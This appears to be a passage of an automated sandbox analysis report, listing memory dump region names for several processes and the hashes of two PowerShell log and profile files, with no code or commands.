SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4552-178-0x0000000005B70000-0x0000000005BD6000-memory.dmp

memory/4552-188-0x00000000061A0000-0x00000000061BE000-memory.dmp

memory/4552-189-0x0000000004CF0000-0x0000000004D00000-memory.dmp

memory/4552-190-0x0000000006770000-0x00000000067A2000-memory.dmp

memory/4552-191-0x000000006F5B0000-0x000000006F5FC000-memory.dmp

memory/4552-201-0x0000000006750000-0x000000000676E000-memory.dmp

memory/4552-202-0x0000000007AE0000-0x000000000815A000-memory.dmp

memory/4552-203-0x00000000074A0000-0x00000000074BA000-memory.dmp

memory/4552-204-0x000000007F620000-0x000000007F630000-memory.dmp

memory/4552-205-0x0000000007500000-0x000000000750A000-memory.dmp

memory/4552-206-0x0000000007730000-0x00000000077C6000-memory.dmp

memory/4552-207-0x00000000076D0000-0x00000000076DE000-memory.dmp

memory/4552-208-0x00000000077F0000-0x000000000780A000-memory.dmp

memory/4552-209-0x0000000007720000-0x0000000007728000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 968cb9309758126772781b83adb8a28f
SHA1 8da30e71accf186b2ba11da1797cf67f8f78b47c
SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
SHA512 4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

memory/5056-213-0x0000000002F30000-0x0000000002F40000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 9e30fd5104c4876d2a2b993119a5763e
SHA1 c36963bcf35c684024ddb7c51107636609cdcaa1
SHA256 9310c0c07030576929319cc13a17dd315307caa7ea96d61c6a4fe0336f07d3d0
SHA512 614080dd581930560c6f432dea4c974ad0c0f095157a6f58c45d58b51253cd8f2fb48266dec15533898aed0962bad61914dae7fc900916201b8586c87b1b7a98

memory/1408-224-0x0000000004C50000-0x0000000004C60000-memory.dmp

memory/5056-225-0x0000000002F30000-0x0000000002F40000-memory.dmp

memory/5056-226-0x000000006F5B0000-0x000000006F5FC000-memory.dmp

memory/5056-236-0x000000007EE60000-0x000000007EE70000-memory.dmp